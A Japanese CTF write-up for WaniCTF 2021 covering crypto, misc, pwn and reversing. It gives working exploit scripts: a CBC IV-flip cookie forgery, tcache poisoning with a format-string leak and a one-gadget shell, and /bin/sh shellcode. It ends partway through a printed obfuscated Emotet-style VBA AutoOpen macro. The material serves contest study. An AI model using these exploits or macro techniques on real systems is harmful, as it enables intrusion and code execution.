WaniCTF 2021 Writeup

Mon Nov 08 2021

    11/5-7 で開催していた WaniCTF 2021 にソロで参加しました。結果は 5th/330 (得点のあるチームのみカウント) でした。 WaniCTF は誘導が丁寧な問題が多く、不慣れなジャンル (即ち Crypto 以外) の勉強になるため参加しました。forensics の1問がわからなくて全完は逃してしまいましたが、どのジャンルも楽しませていただきました。 (裏で BSides Ahmedabad CTF 2021 にも参加していたため、体力的には死んだ)

    自分のためのメモ的要素が強いですが、勉強になったと感じた問題 (≒hard以上の難易度) について writeup を書きます。

    Crypto

    Flag Service

    24 solves

    app.py
    from cipher import AESCBC
    from flask import Flask, redirect, render_template, request
    from secret import flag
    
    app = Flask(__name__)
    cipher = AESCBC()
    
    
    @app.route("/")
    def index():
        try:
            token = request.cookies.get("token")
            session = cipher.decrypt(token)
            return render_template("index.html", session=session, flag=flag)
        except Exception:
            pass
        return render_template("index.html")
    
    
    @app.route("/login", methods=["POST"])
    def login():
        username = request.form.get("username")
        session = {"admin": False, "username": username}
        token = cipher.encrypt(session)
    
        response = redirect("/")
        response.set_cookie("token", token)
        return response
    
    
    @app.route("/logout", methods=["POST"])
    def logout():
        response = redirect("/")
        response.set_cookie("token", expires=0)
        return response
    
    
    if __name__ == "__main__":
       app.run()
    cipher.py
    import base64
    import json
    import os
    
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    
    
    class AESCBC:
        def __init__(self):
            self.key = os.urandom(16)
    
        def encrypt(self, data: str):
            cipher = AES.new(self.key, AES.MODE_CBC)
    
            iv = cipher.iv
            data = json.dumps(data)
    
            ciphertext = cipher.encrypt(pad(data.encode(), AES.block_size))
    
            token = base64.b64encode(iv + ciphertext)
            return token
    
        def decrypt(self, token: bytes):
            token = base64.b64decode(token)
            print(token)
    
            iv, ciphertext = token[: AES.block_size], token[AES.block_size :]
            cipher = AES.new(self.key, AES.MODE_CBC, iv)
            print(cipher.decrypt(ciphertext))
            cipher = AES.new(self.key, AES.MODE_CBC, iv)
            plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
    
            data = json.loads(plaintext)
            return data

    Cookie に AES CBC モードで暗号化された json 形式の token を保持しており、その json の admin が true であればフラグが手に入ります。 token は {"admin": false, "username": "hoge"} のような形式です。

    ぱっとみの見てくれは Padding Oracle Attack に感じられますが、これをやろうとすると json の書式を守ることができず上手くいきません (できる方法があったら知りたい)。そこで既存の json を捏造する方法を考えます。

    AES CBC モードの最初のブロック (c0 とする) に対する復号を考えます。復号結果は Dec(c0)+iv となります (+ は xor を表します)。今回 iv はこちらから制御可能なため、復号結果を偽造することができます。 (c0 を変えるとそもそも Dec(c0) の値を制御できないこと、 c1 の復号結果が変わってしまうことに注意です。)

    ブロック長を考えると Dec(c0)+iv='{"admin": false,' となっていることがわかるので、このブロックの復号結果を '{"admin": true, ' にしたいです。これらの文字列の xor をとり、もとの iv とも xor を取ることで、所望の偽造に使える iv がわかります。

    solve.py
    # 適当な username で Cookie を取得しておく
    dec = b64decode(b"H/ryFl7Qz2iMLi1X7CwhXY0QzAKVgtZg4exjEnyvwd43GTB2kDSQGCkPZMhOxyVLnKNum+ot3IGZF9/pblnJNg==")
    iv = dec[:16]
    print(b64encode(strxor(strxor(iv, b"\x00"*10 + b"false,"), b"\x00"*10 + b"true, ") + dec[16:]))

    得られた結果を Cookie に入れてアクセスすることでフラグが手に入りました。

    FLAG{Fl1p_Flip_Fl1p_Flip_Fl1p____voila!!}

    AES-NOC

    39 solves

    chall.py
    import os
    
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad
    from Crypto.Util.strxor import strxor
    
    from secret import flag
    
    
    class AESNOC:
        def __init__(self, key: bytes, iv: bytes):
            self.iv = iv
            self.key = key
            self.block_size = AES.block_size
    
        def encrypt(self, plaintext: bytes):
            cipher = AES.new(self.key, AES.MODE_ECB)
            plaintext = pad(plaintext, self.block_size)
            P = [
                plaintext[i : i + self.block_size]
                for i in range(0, len(plaintext), self.block_size)
            ]
            C = []
    
            P_prev = self.iv
            for p in P:
                c = cipher.encrypt(p)
                C.append(strxor(c, P_prev))
                P_prev = p
    
            return b"".join(C)
    
    
    def main():
        key = os.urandom(16)
        iv = os.urandom(16)
        cipher = AESNOC(key, iv)
    
        assert len(flag) == 49
        assert flag.startswith(b"FLAG{")
        assert flag.endswith(b"}")
    
        iv = iv.hex()
        print(f"{iv = }")
        while True:
            print("1. Get encrypted flag")
            print("2. Encrypt")
            choice = int(input("> "))
            if choice == 1:
                encrypted_flag = cipher.encrypt(flag).hex()
                print(f"{encrypted_flag = }")
            elif choice == 2:
                plaintext = input("Plaintext [hex] > ")
                plaintext = bytes.fromhex(plaintext)
                ciphertext = cipher.encrypt(plaintext).hex()
                print(f"{ciphertext = }")
            else:
                print("Bye")
                break
    
    
    if __name__ == "__main__":
        main()

    平文、暗号文のii番目のブロックをそれぞれ mi,cim_i, c_i とすると、 ci=Enc(mi)+mi1c_i = \mathrm{Enc}(m_i) + m_{i-1} が成り立ちます (+は xor を表す)。 mim_i が既知であれば、 mi1=ci+Enc(mi)m_{i-1} = c_i + \mathrm{Enc}(m_i) となり、 mi1m_{i-1} も求められます。 Enc(mi)\mathrm{Enc}(m_i)mim_i を暗号化して iv と xor を取れば求められます。 問題文から、平文の最後のブロックは }\x0f\x0f... となることがわかるため、逐次的に平文を復元することができます。

    solve.py
    import re
    from binascii import unhexlify
    
    from Crypto.Util.Padding import pad
    from Crypto.Util.strxor import strxor
    from pwn import remote
    
    io = remote("aesnoc.crypto.wanictf.org", 50000)
    ret = io.recvline().strip().decode()
    iv = unhexlify(re.findall(r"iv = '(.*)'", ret)[0])
    io.sendlineafter(b"> ", b"1")
    ret = io.recvline().strip().decode()
    enc_flag = unhexlify(re.findall(r"encrypted_flag = '(.*)'", ret)[0])
    
    
    def enc(plain: bytes):
        io.sendlineafter(b"> ", b"2")
        io.sendlineafter(b"> ", plain.hex().encode())
        ret = io.recvline().strip().decode()
        return unhexlify(re.findall(r"ciphertext = '(.*)'", ret)[0])
    
    
    dec = b"}"
    plain_prev = b"}" + b"\x0f" * 15
    for i in reversed(range(0, 64, 16)):
        tmp = enc(plain_prev)
        dec_block = strxor(iv, strxor(tmp[:16], enc_flag[i: i + 16]))
        dec = dec_block + dec
        plain_prev = dec_block
        print(dec)

    FLAG{Wh47_h4pp3n$_1f_y0u_kn0w_the_la5t_bl0ck___?}

    Misc

    ASK over the air

    16 solves

    無線通信のビット列が渡されます。無線なんもわからん (従来の意味で) なのでツールに投げることにしました。 Universal Radio Hacker というツールで csv を開き、 I Data Column を2に、 Q Data Column を3に、 Timestamp Column を1に指定します。 Sample/Symbol を適当に変化させつつ Analysis タブで ASCII 表示結果を見ていると、 Sample/Symbol=16 のときにフラグを復元できていました。

    FLAG{you-can-decode-many-IoT-communications}

    Pwn

    diva

    13 solves

    diva.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    int counter = 0;
    
    char *textArea[6];
    char lyrics[3][16];
    
    void (*fp[2])(char *);
    
    void init() {
      alarm(600);
      setbuf(stdin, NULL);
      setbuf(stdout, NULL);
      setbuf(stderr, NULL);
    }
    
    char *parseVar(char *var) {
      int intTemp;
      char *str_temp;
      if (var[0] == '%') {
        intTemp = var[1] - 48;
        if (intTemp < 0 || intTemp > 2)
          printf("Out of Boundary!\n");
        else if (strlen(lyrics[intTemp]) == 0)
          printf("Cannot access memory\n");
        else
          return lyrics[intTemp];
      } else {
        return var;
      }
      return NULL;
    }
    
    void sing(char *parameter) {
      printf("🎵");
      printf(
          parseVar(parameter)); // Looks Safe since we use % as register indicator!
      printf("🎵\n");
    }
    
    void ereaseLyrics(char *parameter) {
      int i;
      if (parameter[0] != '%')
        printf("ERROR : Destination of 'erease' should be register\n");
      else {
        i = parameter[1] - 48;
        if (i < 0 || i > 2)
          printf("Out of Boundary!\n");
        else
          lyrics[i][0] = '\0';
      }
    }
    
    void writeLyrics(char *parameter1, char *parameter2) {
      int i;
      if (parameter1[0] != '%')
        printf("ERROR : Destination of 'write' should be register\n");
      else {
        i = parameter1[1] - 48;
        memcpy(lyrics[i], parseVar(parameter2), 16);
      }
    }
    
    void parser(char *command) {
      char *token;
      char *cmd[4];
      int i = 0;
      printf("command : %s\n", command);
      if (command == NULL)
        return;
      cmd[i] = strtok(command, " ");
      while (cmd[i] != NULL && i < 3) {
        i++;
        cmd[i] = strtok(NULL, " ");
      }
      if (cmd[0] != NULL) {
        if (strcmp(cmd[0], "sing") == 0) {
          fp[0](cmd[1]);
        } else if (strcmp(cmd[0], "erease") == 0) {
          fp[1](cmd[1]);
        } else if (strcmp(cmd[0], "write") == 0) {
          writeLyrics(cmd[1], cmd[2]);
        } else {
          printf("Invalid command %s\n", cmd[0]);
        }
      } else {
        printf("Nothing to process\n");
      }
      printf("----Lyrics list----\n");
      for (int j = 0; j < 5; j++) {
        if (lyrics[j] != NULL)
          printf("[%d]: %s\n", j, lyrics[j]);
        else
          printf("[%d]: NULL\n", j);
      }
      printf("-------------------\n");
    }
    
    void initializeSystem() {
      char *Checker[6];
      printf("Initializing System...\n");
      printf("Checking Available Memory...\n");
      fp[0] = sing;
      fp[1] = ereaseLyrics;
      for (int i = 0; i < 6; i++) {
        Checker[i] = (char *)malloc(32 * sizeof(char));
        if (Checker[i] == NULL) {
          printf("ERROR! Can't get the memory!\n");
          exit(-1);
        }
      }
      printf("Memory available...\n");
      for (int i = 5; i >= 0; i--) {
        free(Checker[i]);
      }
    }
    
    int main() {
      init();
    
      if (counter != 0)
        printf("Program came from the future\n\n");
    
      printf("I'm born to take flag with music\n");
      int i;
      for (i = 0; i < 101; i++) {
        switch (i) {
        case 0:
          printf("Year : %d\n", 2061 + i);
          parser(textArea[0]);
          break;
        case 15:
          printf("Year : %d\n", 2061 + i);
          parser(textArea[1]);
          break;
        case 20:
          printf("Year : %d\n", 2061 + i);
          parser(textArea[2]);
          break;
        case 60:
          printf("Year : %d\n", 2061 + i);
          parser(textArea[3]);
          break;
        case 100:
          printf("Year : %d\n", 2061 + i);
          parser(textArea[4]);
          parser(textArea[5]);
        }
      }
    
      printf("I wasn't able to get the flag.\n\n");
      initializeSystem();
      printf("Give me your code to send to the past\n");
      printf("counter : %d\n", counter);
    
      for (int i = 0; i < 6; i++) {
        textArea[i] = (char *)malloc(32 * sizeof(char));
        printf("%d>", i);
    
        read(0, textArea[i], 0x40);
      }
    
      printf("Change this FLAGless history!! Please...\n");
      counter += 1;
    }

    main 関数の前半部分はいろいろコードが書いてありますが普通に1回呼び出されるだけだと何も機能しません。そこで、もう一度 main 関数を呼び出せないかをまず考えてみます。

    自明な BOF が以下のあたりにあります。

      for (int i = 0; i < 6; i++) {
        textArea[i] = (char *)malloc(32 * sizeof(char));
        printf("%d>", i);
    
        read(0, textArea[i], 0x40);
      }

    親切なことに、 initializeSystem 内で malloc x 6 → malloc したのと逆順に free x 6 をしているため、 tcache 内に chunk がアドレスの順番に保持されています。そのため、ある textArea[i] に 0x30文字 + address を書き込むと、 tcache のリストが汚染され、2回後の malloc でこの address に書き込むことができるようになります。

    では何をどこに書き込むといいのでしょうか。 checksec の結果を見ると、

        Arch:     amd64-64-little
        RELRO:    No RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    

    であり、 No RELRO です。 No RELRO なので .fini_array が writable です。 .fini_array はプログラムの終わり際に呼ばれる関数を保持する場所なので、ここに main 関数アドレスを書き込むことで main 関数前半部分を利用することができます。

    2つ目の脆弱性として、 sing 関数内部の printf が挙げられます。

    char *parseVar(char *var) {
      int intTemp;
      char *str_temp;
      if (var[0] == '%') {
        intTemp = var[1] - 48;
        if (intTemp < 0 || intTemp > 2)
          printf("Out of Boundary!\n");
        else if (strlen(lyrics[intTemp]) == 0)
          printf("Cannot access memory\n");
        else
          return lyrics[intTemp];
      } else {
        return var;
      }
      return NULL;
    }
    
    void sing(char *parameter) {
      printf("🎵");
      printf(
          parseVar(parameter)); // Looks Safe since we use % as register indicator!
      printf("🎵\n");
    }

    parseVar では1文字目以外は % にすることができるので、 FSA で stack 内部の値をリークできます。

    2週目の main で stack 内のいい感じの値から libc address をリークし、再び tcache poisoning で GOT の puts を one gadget address に書き換えることでシェルが立ち上がります。

    solve.py
    from pwn import *
    
    context.log_level = "DEBUG"
    
    # REMOTE = False
    REMOTE = True
    
    elf = ELF("./pwn-diva/chall")
    if REMOTE:
        libc = ELF("./pwn-diva/libc-2.31.so")
        io = remote("diva.pwn.wanictf.org", 9008)
    else:
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
        io = remote("localhost", 1337)
    
    
    io.sendafter(b"0>", b"sing A" + b"%34$016lx")
    io.sendafter(b"1>", b"A")
    io.sendafter(b"2>", b"A")
    io.sendafter(b"3>", b"A" * 0x30 + p64(0x004034b8))  # .fini_array
    io.sendafter(b"4>", b"A" * 0x30)
    io.sendafter(b"5>", p64(elf.symbols["main"]))
    
    io.recvuntil(b"command :")
    io.recvline()
    addr_stdout = int(io.recvline()[5:21], 16)
    libc.address = addr_stdout - libc.symbols["_IO_2_1_stdout_"]
    print(f"{libc.address = :#x}")
    
    addr_one_gadget = libc.address + 0xe6c7e
    
    io.sendafter(b"0>", b"A")
    io.sendafter(b"1>", b"A")
    io.sendafter(b"2>", b"A")
    io.sendafter(b"3>", b"A" * 0x30 + p64(elf.got["puts"]))
    io.sendafter(b"4>", b"A" * 0x30)
    io.sendafter(b"5>", p64(addr_one_gadget))
    
    io.interactive()

    Tarinai

    28 solves

    tarinai.c
    #include <signal.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    void init() {
      alarm(60);
      setbuf(stdin, NULL);
      setbuf(stdout, NULL);
      setbuf(stderr, NULL);
    }
    
    int vuln() {
      char Name[256];
      printf("Name @>%p\n", &Name);
      printf("Name>");
      read(0, Name, 258);
      printf("Hello %s", Name);
      return 0;
    }
    
    int main() {
      int a = 1;
      init();
      vuln();
      return 0;
    }

    自明な BOF が vuln 関数内にあります。しかし2文字分しか overflow できないため、 return address 以降を書き換えるような ROP はできません。

    書き込める2文字は main 関数用に保存された RBP address の下位2bytesに対応しています。この値は main 関数から抜けるときの leave 命令で RSP に代入されるため (leave = mov rsp, rbp; pop rbp)、 main 関数での return address を 0x10000bytes 程度ずらすことができます。 checksec でセキュリティ機構を調べると NX disabled だったため、 Name の最初の部分に Name+8 のアドレス (これが return 先となる)、 Name+8 以降に shellcode を書き込み、 main 関数の return address を上述の方法で Name の address となるようにすることでシェルが立ち上がります。

    solve.py
    from pwn import *
    
    REMOTE = True
    
    elf = ELF("./pwn-tarinai/chall")
    if REMOTE:
        io = remote("tarinai.pwn.wanictf.org", 9007)
    else:
        io = remote("localhost", 1337)
    
    io.readuntil(b"Name @>")
    addr_name = int(io.recvline().strip().decode(), 16)
    print(f"{addr_name = :#x}")
    payload = p64(addr_name + 0x8)
    # http://shell-storm.org/shellcode/files/shellcode-603.php
    payload += b"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
    payload += b"A" * (256 - len(payload))
    payload += p64(addr_name - 8)[:2]  # leave の pop rbp 分 ずらしておく
    io.sendafter(b"Name>", payload)
    io.interactive()

    FLAG{Now_You_Know_Function_Epilogue}

    rop-machine-final

    36 solves

    char* buf[64];
    gets(buf);  // flag.txt
    int fd = open(buf, O_RDONLY);
    read(fd, buf, 64);
    write(1, buf, 64);

    ↑相当の処理を ROP で行えばフラグが読めます。

    solve.py
    cmd_append_pop_rdi()
    cmd_append_hex(0x404140)
    cmd_append_gets()  # 手入力で flag.txt
    
    cmd_append_pop_rdi()
    cmd_append_hex(0x404140)
    cmd_append_pop_rsi()
    cmd_append_hex(0)
    cmd_append_open()
    
    cmd_append_pop_rdi()
    cmd_append_hex(0x3)
    cmd_append_pop_rsi()
    cmd_append_hex(0x404140)
    cmd_append_pop_rdx()
    cmd_append_hex(0x40)
    cmd_append_read()
    
    cmd_append_pop_rdi()
    cmd_append_hex(0x1)
    cmd_append_pop_rsi()
    cmd_append_hex(0x404140)
    cmd_append_pop_rdx()
    cmd_append_hex(0x40)
    cmd_append_write()
    
    cmd_execute()

    FLAG{you-might-be-the-real-rop-master}

    Reversing

    EmoEmotet

    44 solves

    ヒントに記載されているツールで emoemotet.doc を解析してみます。

    $ olevba3 emoemotet.doc --reveal
    (SNIPPED)
    Private InitDone       As Boolean
    Private Map1(0 To 63)  As Byte
    Private Map2(0 To 127) As Byte
    Sub AutoOpen()
    CreateObject(unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) & unxor(Array(201, 1), 14)).Run unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) & _
    unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) & _
    unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) & _
    unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) & _
    unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) & _
    unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) & _
    unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) & _
    unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) & _
    unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) & _
    unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) & _
    unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) & _
    unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) & _
    unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) & _
    unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) & _
    unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) & _
    unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312)
    End Sub
    Public Function Base64Decode(ByVal s As String) As Byte()
       If Not InitDone Then Init
       Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)
       Dim ILen As Long: ILen = UBound(IBuf) + 1
       If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , ""
       Do While ILen > 0
          If IBuf(ILen - 1) <> Asc("=") Then Exit Do
          ILen = ILen - 1
          Loop
       Dim OLen As Long: OLen = (ILen * 3) \ 4
       Dim Out() As Byte
       ReDim Out(0 To OLen - 1) As Byte
       Dim ip As Long
       Dim op As Long
       Do While ip < ILen
          Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1
          Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1
          Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A")
          Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A")
          If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _
             Err.Raise vbObjectError, , ""
          Dim b0 As Byte: b0 = Map2(i0)
          Dim b1 As Byte: b1 = Map2(i1)
          Dim b2 As Byte: b2 = Map2(i2)
          Dim b3 As Byte: b3 = Map2(i3)
          If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _
             Err.Raise vbObjectError, , ""
          Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10)
          Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4)
          Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3
          Out(op) = o0: op = op + 1
          If op < OLen Then Out(op) = o1: op = op + 1
          If op < OLen Then Out(op) = o2: op = op + 1
          Loop
       Base64Decode = Out
       End Function
    Private Sub Init()
       Dim c As Integer, i As Integer
       i = 0
       For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next
       For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next
       For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next
       Map1(i) = Asc("+"): i = i + 1
       Map1(i) = Asc("/"): i = i + 1
       For i = 0 To 127: Map2(i) = 255: Next
       For i = 0 To 63: Map2(Map1(i)) = i: Next
       InitDone = True
       End Sub
    Private Function ConvertStringToBytes(ByVal s As String) As Byte()
       Dim b1() As Byte: b1 = s
       Dim l As Long: l = (UBound(b1) + 1) \ 2
       If l = 0 Then ConvertStringToBytes = b1: Exit Function
       Dim b2() As Byte
       ReDim b2(0 To l - 1) As Byte
       Dim p As Long
       For p = 0 To l - 1
          Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))
          If c >= 256 Then c = Asc("?")
          b2(p) = c
          Next
       ConvertStringToBytes = b2
       End Function
    Private Function unxor(ciphertext As Variant, start As Integer)
        Dim cleartext As String
        Dim key() As Byte
        key = Base64Decode("rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl" & _
